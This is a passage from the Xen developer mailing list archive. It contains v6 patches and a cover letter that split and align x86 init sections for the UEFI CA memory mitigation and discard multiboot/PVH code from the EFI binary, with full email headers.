- Added Acked-by.
---
 xen/arch/x86/xen.lds.S | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/xen/arch/x86/xen.lds.S b/xen/arch/x86/xen.lds.S
index 4ed1d2bec1..e26e37db13 100644
--- a/xen/arch/x86/xen.lds.S
+++ b/xen/arch/x86/xen.lds.S
@@ -193,11 +193,7 @@ SECTIONS
   __2M_init_start = .;         /* Start of 2M superpages, mapped RWX (boot only). */
   . = ALIGN(PAGE_SIZE);             /* Init code and data */
   __init_begin = .;
-#ifdef EFI /* EFI wants to merge all of .init.*  ELF doesn't. */
-  DECL_SECTION(.init) {
-#else
   DECL_SECTION(.init.text) {
-#endif
        _sinittext = .;
        *(.init.multiboot)
        *(.init.text)
@@ -210,12 +206,12 @@ SECTIONS
         */
        *(.altinstr_replacement)
 
-#ifdef EFI /* EFI wants to merge all of .init.*  ELF doesn't. */
-       . = ALIGN(SMP_CACHE_BYTES);
-#else
   } PHDR(text)
-  DECL_SECTION(.init.data) {
+#ifdef EFI
+  /* Align to satisfy UEFI CA memory mitigation. */
+  . = ALIGN(SECTION_ALIGN);
 #endif
+  DECL_SECTION(.init.data) {
        *(.init.bss.stack_aligned)
        *(.init.data.page_aligned)
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:44:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:44:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355212.1609980 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfsZ-0007G0-7y; Mon, 06 Jul 2026 09:44:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355212.1609980; Mon, 06 Jul 2026 09:44:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfsZ-0007Fl-4A; Mon, 06 Jul 2026 09:44:43 +0000
Received: by outflank-mailman (input) for mailman id 1355212;
 Mon, 06 Jul 2026 09:44:41 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wgfsX-00072g-MS
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:44:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgfsX-009Ezx-39
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:44:41 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b78fb-e002-0a2a0a5209dd-0a2a450ced64-18
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:44:40 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b7908-f399-0a2a450c0019-d1558032e427-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:44:40 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-493bc8fda98so30747405e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 02:44:40 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493ccd9d620sm283605205e9.1.2026.07.06.02.44.39
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 02:44:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783331080; x=1783935880; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=X0/pd4NebReOi1u00xuUMPx7iuXllyYVM7OCMuJ2B44=;
        b=gxLVbjaoP1nvM08a3Tkn/vbEdEo62hMZNk5KT/KIl4WFy6ha978VbICWx3ssc530/U
         FBC15pxCAUQt02u+fWAYQVNPVflokp3XYhrox9WtMjOHO+ETvoA671ZceKWkYD0uJaoy
         ypnr51NhNy77uAZ/8JoVVIu/A2IC8HMabFxZQyfAw8cYE53PlmO+GKBwbmtH8rvYJf/d
         YW+E8ofk2j/32f2BFuSCSpr7LObh2ida/VVUVQpuyAxrOq2pspXGCyB9f7dJrLmaV1DB
         4INgpLZBsggB3QTq5Q26Rk+pKy49Q/xBL2NQFU2t8ePa0e7ttLAY7t61DQOzqR6IS2na
         mRNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783331080; x=1783935880;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=X0/pd4NebReOi1u00xuUMPx7iuXllyYVM7OCMuJ2B44=;
        b=iIhXS165uqY6Kdnzh/9+UPOCnKCxVyrXMROH49u5lgixZVQugYF9/CegJmAJQhifL8
         oRnV9hBjULd+1XPpBiGCX8PGSx0b8zFmSUp4uf+Mxcl40EnG+vI0lF//Ug0FIWPQ/VLa
         ut0rH8cT2De1zU2zCt3CTmhIA0wLInu/9Z4NcPojftZuD3lDBHJojdz6pxZ+0rCBM9WW
         w1588/rMOYBbDwb1RUjhXdws3z5IS3K5otw42xh294sXXz63E2zDHZMATBcs8ydrs+HY
         15ocu1DH77rEfhdLOwup3wstpiao7RTnrWap/iQVdlB+pscGEptOu1UOJX5ocpNE7vEJ
         NXpw==
X-Gm-Message-State: AOJu0YxllqD1HZPZADVuyJqhObEUYSgbsFVHPI6BeEptrVlRObnSA87u
	lOpeHhS6g7yCV/0St1AGy1RNVf1HELFZZs+M8Sdf/BQHCLjMr6OFfVHjFx90wgn0EVk=
X-Gm-Gg: AfdE7cmoJ56mAnNJchQw7MCmd6apTtzOuUH+tFkHVxG78RTTRAEcj+FzqnorOJ2BMsq
	YnsPRg61+S5grjvD/h95AJDCLIk/HebquT8BWmQ98IgOpG9RbI8zR7AvcDMWIPaw8pRNHCAR3Yk
	TFYMhThoUGtbL5ZESu9oyDcUFYtVAADP0yMFYGIoEJAKHdB+fxf4b6hhYTBAaiRKumrV4jyRnr/
	HaNvD+WDI09/F63dthD7A6ulbjI9a9Khqd/xxAiiEVp5CizToVXapiZrXv9X6zepuVUhO181B+V
	OTQMdpdD8j4rKJVmBfntWcSl32huhD8y16QDOYmHlgHYpMXVJpsD/A4sKaUMG8WfL5stEWibI+Q
	FmoCorlLlqd+F0TiP89fFbOCrXKlA2GoxQAMCKOUQdx9AnNvj5SEGOiscutPv1Y+qeTTIF2SdAl
	RJlFQQmnBhKJgsjkyoGofZSNsRcjotGpZnRg+v5vJT6Yg+2Fsd9+VE0phb4aTxbok9sNNFpxiZ5
	28UddNEPF+TTOHte/g=
X-Received: by 2002:a05:600c:3554:b0:493:a5d0:d1a1 with SMTP id 5b1f17b1804b1-493d11f6bf5mr115083975e9.31.1783331080005;
        Mon, 06 Jul 2026 02:44:40 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v6 2/4] x86/efi: discard multiboot and PVH support for PE binary
Date: Mon,  6 Jul 2026 10:44:28 +0100
Message-ID: <20260706094430.427155-3-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260706094430.427155-1-frediano.ziglio@citrix.com>
References: <20260706094430.427155-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1783331080-0F138D51-188A3276/0/0
X-purgate-type: clean
X-purgate-size: 5049

From: Roger Pau MonnÃ© <roger.pau@citrix.com>

Multiboot and PVH booting are not supported for PE, hence discards them
in the linker script when doing a PE build.

That removes some relocations that otherwise appear due to the usage of the
start and __efi64_mb2_start symbols in the multiboot2 header.

Section discarding is not done updating DISCARD_SECTIONS definition as the
change is specific for x86.

No functional change intended.

Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v1:
- improve commit message;
- change section orders to avoid changing code order in final executable;
- merge 2 commits;
- removed deprecated documentation section.

Changes since v2:
- Update commit message, join 2 sentences together.

Changes since v3:
- Added Acked-by.

Changes since v4:
- more clear subject;
- removed more code/data from EFI output;
- removed Acked-by.

Changes since v5:
- simplify section exclusion using more wildcard;
- exclude more multiboot functions.
---
 docs/hypervisor-guide/x86/how-xen-boots.rst | 6 ------
 xen/arch/x86/boot/head.S                    | 8 ++++----
 xen/arch/x86/xen.lds.S                      | 7 +++++++
 xen/tools/combine_two_binaries.py           | 2 +-
 4 files changed, 12 insertions(+), 11 deletions(-)

diff --git a/docs/hypervisor-guide/x86/how-xen-boots.rst b/docs/hypervisor-guide/x86/how-xen-boots.rst
index 8b3229005c..b6d852050a 100644
--- a/docs/hypervisor-guide/x86/how-xen-boots.rst
+++ b/docs/hypervisor-guide/x86/how-xen-boots.rst
@@ -82,12 +82,6 @@ When a PEI-capable toolchain is found, the objects are linked together and a
 PE32+ binary is created.  It can be run directly from the EFI shell, and has
 ``efi_start`` as its entry symbol.
 
-.. note::
-
-   xen.efi does contain all MB1/MB2/PVH tags included in the rest of the
-   build.  However, entry via anything other than the EFI64 protocol is
-   unsupported, and won't work.
-
 
 Boot
 ----
diff --git a/xen/arch/x86/boot/head.S b/xen/arch/x86/boot/head.S
index 68b963ce6f..981f262b5e 100644
--- a/xen/arch/x86/boot/head.S
+++ b/xen/arch/x86/boot/head.S
@@ -126,7 +126,7 @@ multiboot2_header:
         .size multiboot2_header, . - multiboot2_header
         .type multiboot2_header, @object
 
-        .section .init.rodata, "a", @progbits
+        .section .init.rodata.multiboot, "a", @progbits
 
 .Lbad_cpu_msg: .asciz "ERR: Not a 64-bit CPU!"
 .Lbad_ldr_msg: .asciz "ERR: Not a Multiboot bootloader!"
@@ -137,8 +137,7 @@ multiboot2_header:
 .Lno_nx_msg:   .asciz "ERR: Not an NX-capable CPU!"
 #endif
 
-        .section .init.data, "aw", @progbits
-        .subsection 1 /* Put data here after the page tables (in x86_64.S). */
+        .section .init.data.multiboot, "aw", @progbits
         .align 4
 
         .word   0
@@ -154,7 +153,7 @@ vga_text_buffer:
 efi_platform:
         .byte   0
 
-        .section .init.text, "ax", @progbits
+        .section .init.multiboot, "ax", @progbits
 
 early_error: /* Here to improve the disassembly. */
 
@@ -712,6 +711,7 @@ trampoline_setup:
         /* Jump into the relocated trampoline. */
         lret
 
+        .section .init.text, "ax", @progbits
 ENTRY(trampoline_start)
 #include "trampoline.S"
 ENTRY(trampoline_end)
diff --git a/xen/arch/x86/xen.lds.S b/xen/arch/x86/xen.lds.S
index 8e63cf5bc2..4ed1d2bec1 100644
--- a/xen/arch/x86/xen.lds.S
+++ b/xen/arch/x86/xen.lds.S
@@ -57,6 +57,10 @@ SECTIONS
   __image_base__ = .;
 #else
   . = __image_base__;
+  /DISCARD/ : {
+    *(.text.header)
+    *(.init.*multiboot)
+  }
 #endif
 
 #if 0
@@ -195,6 +199,7 @@ SECTIONS
   DECL_SECTION(.init.text) {
 #endif
        _sinittext = .;
+       *(.init.multiboot)
        *(.init.text)
        *(.text.startup)
        _einittext = .;
@@ -220,6 +225,7 @@ SECTIONS
        *(.init.rodata.cf_clobber)
        __initdata_cf_clobber_end = .;
 
+       *(.init.rodata.multiboot)
        *(.init.rodata)
        *(.init.rodata.*)
 
@@ -234,6 +240,7 @@ SECTIONS
        *(.initcall1.init)
        __initcall_end = .;
 
+       *(.init.data.multiboot)
        *(.init.data)
        *(.init.data.rel)
        *(.init.data.rel.*)
diff --git a/xen/tools/combine_two_binaries.py b/xen/tools/combine_two_binaries.py
index 581e57cbc0..5f0433dcad 100755
--- a/xen/tools/combine_two_binaries.py
+++ b/xen/tools/combine_two_binaries.py
@@ -33,7 +33,7 @@ parser.add_argument('--map', dest='mapfile',
 parser.add_argument('--exports', dest='exports',
                     help='Symbols to export')
 parser.add_argument('--section-header', dest='section_header',
-                    default='.section .init.text, "ax", @progbits',
+                    default='.section .init.multiboot, "ax", @progbits',
                     help='Section header declaration')
 parser.add_argument('-v', '--verbose',
                     action='store_true')
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:44:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:44:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355210.1609961 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfsV-0006pn-Kx; Mon, 06 Jul 2026 09:44:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355210.1609961; Mon, 06 Jul 2026 09:44:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfsV-0006pg-IQ; Mon, 06 Jul 2026 09:44:39 +0000
Received: by outflank-mailman (input) for mailman id 1355210;
 Mon, 06 Jul 2026 09:44:37 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wgfsT-0006pa-M6
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:44:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgfsS-009Ezx-Qf
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:44:36 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b78f9-e002-0a2a0a5209dd-0a2a4509d6b0-34
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:44:36 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b7904-97e6-0a2a45090019-d155802cd436-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:44:36 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-493b691cb44so19290715e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 02:44:36 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493ccd9d620sm283605205e9.1.2026.07.06.02.44.35
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 02:44:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783331076; x=1783935876; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=OaAEBTAI0yWdp/uh1fbi563sGfzhKxHiFZlpfXegvLA=;
        b=DiL/qPWEIIA9Jn8kBTBTEif0Cbg4fBu+mMmEhTPuJeeQnXWJn4EjSVAWWpIhrYrCYB
         gvGuTEvTj7/0J4J0R2Ce0fP4eGUVg3Q2wfZWT61VsvhTh9WKMs8sfFe1G3VK1TLqjtXT
         kkwuJtl6LTgartGgDCjQIMtZ1Cqa4UIuu/RQdOpftMfuq8UtVbAlewQgmzm4lNtVnRTh
         kVjSuEKj2IBZ30Xewea915vwDximBwLY7f3aOZuH6oFBHPSUUxeig8vcaUkXDnuXvs+a
         cjIoYg2IwWtRtGV8nnjNlVFiLx6N90yGuURsGQK2KVRSWA1B/ABMWargtIJydzUYUorh
         gW+A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783331076; x=1783935876;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=OaAEBTAI0yWdp/uh1fbi563sGfzhKxHiFZlpfXegvLA=;
        b=IbhyDSSSAVRKO90zhRYen02i/KVX3Kc1/dY5+0aqrUVRsWCbGFk2/ttZsquVZUyjEr
         dFC9LNp1z1j1uC1IwV68SALyQjKvSXMVnMbRxlhgq/dm7/mU93qvc86VjxgJbHNWD4zy
         QmTRuRCj8z9sh/NFU5hlMFWPF8aB0BcJki1xO6Rvksanuxy0hoQrwWxI/oTOF3BTZEcx
         WJrr5vtHBptKQzJNpbBtiL6M0MVgZ86UW1qrHvlfpon7V8v6kbQbTk7uFNSH3RXUl4jF
         mlt7VhPsZ6ZUz6n83f9TLB/FE1ilFcV2cABCcds4K1sQ3otaNqyIfLql66C07+FHGWLO
         CFjQ==
X-Gm-Message-State: AOJu0YzsPR3wjkhFrgTBYTglzrTEbNV+2i9As8uotKOAOD1AgNxciUbC
	de7qu6GxjIrVrd4PdAqBC01Y3H1x8ohun5WfLKf4d+XND5pFQnuBzAqfpyPUH7xO1rY=
X-Gm-Gg: AfdE7cnEIHtiK2vATeaWql9qFOqHE5asK7gg5AKMhdmKoDRHPrgEL/LmEx00hTDwEiM
	3GL1tqwjY9pscqaYH8Iv7OqZ6BBn2w3Qgit76ZLx78vYaCqucGDwMACVsrp/AZpi56wwKFujVUt
	htKTGYgN1ExRBsIWC1JG7pfFKnMQUNPYIVjKOYVTm6vVloIy8ftZq8Ex3gA99nMTn9ADV/G8RA9
	Ulau7MuqxCDXtiDL9oFta8WEMzCcs9P/0/YfmsM27IlP9hromv5TkfnqT+BP0d4INgRyTLgHm+2
	lWCouwNFISZx72PnlE/Dam5ylYMDzlIr09QH8dz2bQP8GBj0gx1z1x83tXBuBGcHxlj3uK2x/fi
	Rcw9ozFavdHq4WYbKhqo1DFEMF8TU8cSs5jRB+Xvp3oDG7q1HXGIVnHJci8V0nUF3VuJddEHPfN
	2Hw4untfKvcoqu4qrf48X1woAj+K/UKvnQQJc3LjXR5Os7/V1EF21ZO1EQubge81e3wmMmthr9g
	hyW4YYAMQIOLsH4MGo=
X-Received: by 2002:a05:600c:63c3:b0:493:bc4a:fb56 with SMTP id 5b1f17b1804b1-493d1203ee0mr83473045e9.39.1783331075827;
        Mon, 06 Jul 2026 02:44:35 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Subject: [PATCH v6 0/4] Various patches to improve Secure Boot support
Date: Mon,  6 Jul 2026 10:44:26 +0100
Message-ID: <20260706094430.427155-1-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1783331076-44528986-4977D81D/0/0
X-purgate-type: clean
X-purgate-size: 1447

These patches improve support for Secure boot.
UEFI CA memory mitigation requires memory pages to be not executable and
writable at the same time. So changing permissions and splitting some section
is required.
Remove multiboot pieces from EFI executable.

Changes since v1:
- improved some comments;
- merged 2 pacthes removing multiboot support in x86 PE;
- removed a patch dealing with SBAT;
- other minor changes (see single patches).

Changes since v2:
- improved some comments.

Changes since v3:
- Added Acked-by;
- Improve commit message.

Changes since v4:
- Messages updates;
- Clean some dependencies cause by code removal;
- Add small commit to remove a possibly unused string.

Changes since v5:
- removed merged commit;
- remove more code/data from xen.efi output.

Frediano Ziglio (2):
  Align relevant sections to 4KB
  x86: Split .init section to satisfy UEFI CA memory mitigation

Roger Pau MonnÃ© (2):
  x86/efi: discard multiboot and PVH support for PE binary
  x86/efi: avoid a relocation in efi_arch_post_exit_boot()

 docs/hypervisor-guide/x86/how-xen-boots.rst |  6 -----
 xen/arch/x86/boot/head.S                    |  8 +++----
 xen/arch/x86/efi/efi-boot.h                 |  7 ++++--
 xen/arch/x86/xen.lds.S                      | 25 ++++++++++++---------
 xen/tools/combine_two_binaries.py           |  2 +-
 5 files changed, 25 insertions(+), 23 deletions(-)

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:49:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:49:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355250.1610007 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfww-00015t-IO; Mon, 06 Jul 2026 09:49:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355250.1610007; Mon, 06 Jul 2026 09:49:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfww-00015m-FN; Mon, 06 Jul 2026 09:49:14 +0000
Received: by outflank-mailman (input) for mailman id 1355250;
 Mon, 06 Jul 2026 09:49:13 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wgfwv-00015Z-DV
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:49:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgfwu-00GxeQ-Ml
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:49:12 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4b7a13-2eae-0a2a0a5409dd-0a2a450be7f4-24
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:49:12 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4b7a18-ac48-0a2a450b0019-d155802ddd6e-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:49:12 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-493c2c0b9a8so25400245e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 02:49:12 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63ba971sm594498025e9.13.2026.07.06.02.49.11
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 02:49:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783331352; x=1783936152; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=CRflqAxAhrpTUFhJ7RIMh57o9Sg3stDF/b11bzg+fD8=;
        b=d6Mt1t7DFqhd52XjvGI0PwNkrHdyYYj6oOehrXCViiwQm+CHTJ0ejVT5MoKDoDAlDF
         srp0c8nHlR+NhRZiKPuYxtuqcgJTtqOqUkI94xy2l9fzyq9Na2iyQVRF+eO27BTkqWu7
         aD147UruETBo7lxI8AUk36CKwtMxKI13HCddI2Xi5u+z0ariWNyijAVFCw5SwbOu45Tp
         WMpznb8oOxasKwHdPicRcQKA/4yUsBokH8oEHDVEhdn7OyCWDAksgCa7HcqyN3j/pbDO
         MZ4GEWnHwH9DmPAm4FX3oxfAsqAJzqr8Vd1Szm/34R0PazIxeU+hRz4oQYUYcy+6YnUC
         cWxw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783331352; x=1783936152;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=CRflqAxAhrpTUFhJ7RIMh57o9Sg3stDF/b11bzg+fD8=;
        b=dwzajE4/PCMOusN62KVXlGsewYX6DXFFvO6dvGFcuR3KG0PLQy2Ydf9eynUeGIK+qH
         1SVEwyt7HMS73ru/DxWuIwNMUDixVqSGFsNzOBp2nAD169rJycXTYtlhkaolItBAUvoH
         vkk0qqDNV3jawnl0KfJb19aEngTC+KiCBRlj0UUm4kZs0XXG77ltwAG7QK7C7UqG+JIb
         f486vv8Uer90yD3gyLyS44PWBpZEOMRWFJ7h57o/kUYPZknTJflNYPUydor3aHKIWejz
         suRcZSpSm2e2vG5wwjhxZFkxfW5sK7W00B/ovJ37+22AJNhMJo/i5P5zpeIaDX35nrOE
         Zf0A==
X-Forwarded-Encrypted: i=1; AHgh+RrymeYT01541UDQNLKVifSNuTggkae1UJmcMNVnf2i4dspGS5sCh+1d4dsPLtwZ+qW1iTGYdu1uQJk=@lists.xenproject.org
